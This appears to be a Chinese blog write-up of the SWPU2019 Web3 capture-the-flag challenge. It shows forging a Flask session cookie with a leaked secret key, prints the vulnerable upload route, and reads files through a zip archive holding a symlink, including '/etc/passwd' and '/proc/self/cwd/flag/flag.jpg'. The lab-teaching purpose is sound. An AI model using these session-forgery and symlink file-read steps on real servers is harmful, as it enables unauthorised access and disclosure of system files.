• [SWPU2019]Web3


    目录

    考点:

    解题:

    知识点:

    总结:


    考点:

    又是 Flask_session 

    ln -s 软链接

    代码审计

    解题:

    进入页面随便输入点东西

     不是ssti

    访问upload 显示没有权限。

    抓包看

     经典的 flask_session .

    放到kali 里解密

    1. python3 flask_session_cookie_manager3.py decode -c ".eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PL0IojHIPy42MCCtOcbS1BWkoLU4tykvMTcWhoBYAbr4gMA.YxGslA.wMQVZ9zVUrMJ6O7VU73clHc6wfY"
    2. b'{"id":{" b":"MTAw"},"is_login":true,"password":{" b":"ZGVmYXVsdA=="},"username":{" b":"ZGVmYXVsdA=="}}'

    改成我们想要的 信息 再进行加密,但是我们没有密钥key

    源码中有提示:

    随便访问个不存在的url 地址, key就在返回包头中

     

     解密:

    1. U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==
    2. keyqqqwwweee!@#$%^&*

    进行session 加密成这样:

    {'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}
    
    python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"
    

     加密后抓包 改成session,成功进入到页面:

     F12查看源码。

    1. @app.route('/upload',methods=['GET','POST'])
    2. def upload():
    3. if session['id'] != b'1':
    4. return render_template_string(temp)
    5. if request.method=='POST':
    6. m = hashlib.md5()
    7. name = session['password']
    8. name = name+'qweqweqwe'
    9. name = name.encode(encoding='utf-8')
    10. m.update(name)
    11. md5_one= m.hexdigest()
    12. n = hashlib.md5()
    13. ip = request.remote_addr
    14. ip = ip.encode(encoding='utf-8')
    15. n.update(ip)
    16. md5_ip = n.hexdigest()
    17. f=request.files['file']
    18. basepath=os.path.dirname(os.path.realpath(__file__))
    19. path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
    20. path_base = basepath+'/upload/'+md5_ip+'/'
    21. filename = f.filename
    22. pathname = path+filename
    23. if "zip" != filename.split('.')[-1]:
    24. return 'zip only allowed'
    25. if not os.path.exists(path_base):
    26. try:
    27. os.makedirs(path_base)
    28. except Exception as e:
    29. return 'error'
    30. if not os.path.exists(path):
    31. try:
    32. os.makedirs(path)
    33. except Exception as e:
    34. return 'error'
    35. if not os.path.exists(pathname):
    36. try:
    37. f.save(pathname)
    38. except Exception as e:
    39. return 'error'
    40. try:
    41. cmd = "unzip -n -d "+path+" "+ pathname
    42. if cmd.find('|') != -1 or cmd.find(';') != -1:
    43. waf()
    44. return 'error'
    45. os.system(cmd)
    46. except Exception as e:
    47. return 'error'
    48. unzip_file = zipfile.ZipFile(pathname,'r')
    49. unzip_filename = unzip_file.namelist()[0]
    50. if session['is_login'] != True:
    51. return 'not login'
    52. try:
    53. if unzip_filename.find('/') != -1:
    54. shutil.rmtree(path_base)
    55. os.mkdir(path_base)
    56. return 'error'
    57. image = open(path+unzip_filename, "rb").read()
    58. resp = make_response(image)
    59. resp.headers['Content-Type'] = 'image/png'
    60. return resp
    61. except Exception as e:
    62. shutil.rmtree(path_base)
    63. os.mkdir(path_base)
    64. return 'error'
    65. return render_template('upload.html')
    66. @app.route('/showflag')
    67. def showflag():
    68. if True == False:
    69. image = open(os.path.join('./flag/flag.jpg'), "rb").read()
    70. resp = make_response(image)
    71. resp.headers['Content-Type'] = 'image/png'
    72. return resp
    73. else:
    74. return "can't give you"

    定义了 两个路由  一个是 /upload   一个是 /showflag 。 上传的路由就是上传一个压缩的图片,然后上传上去之后会解压,然后再显示图片。  

    还有一点就是 /show/flag 路由中,显示了 flag 的相对路径, /flag/flag.jpg

    知识点:

    我们这里可上传一个软连接压缩包,来读取其他文件,showflag路由告诉我们flag.jpg放在flask根目录的flag目录下,但是不知道其绝对路径。

    1.在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
    2.ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。

    如:

     

     看到snowy软链接已经被创建出来了。

    访问 snowy  正是 /etc/passwd的内容。

     所以 整理下思路:

    upload 源码 会将 我们上传的压缩图片进行解压,并解析到前端,我们上传一个/proc/self/cwd/flag/flag.jpg压缩过的软连接,这样  他就会解压我们软连接,并返回给我们看

     其中zip命令的参数含义如下:

    1. -r:将指定的目录下的所有子目录以及文件一起处理
    2. -y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。

    抓包上传压缩包即可。

    总结:

     ln  -s   确实想不到,考点涉猎很广

  • 相关阅读:
    ArcGIS QGIS学习二:图层如何只显示需要的部分几何面数据(附最新坐标边界下载全国省市区县乡镇)
    Android HAL学习 及 与BSP的区别
    怎么用postman连接websocket
    springboot毕设项目宠物网络社区论坛系统sxg9h(java+VUE+Mybatis+Maven+Mysql)
    1458_树莓派安装使用aria2
    openpnp - SlotSchultzFeeder source code bugfix
    自动化测试基础简介(本质)
    eltable el-tooltip__popper 换行、字体、颜色等调整
    stable diffusion的微调和lora微调代码版本
    第六章《凸优化核心过程:真正搞懂梯度下降过程》
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126665796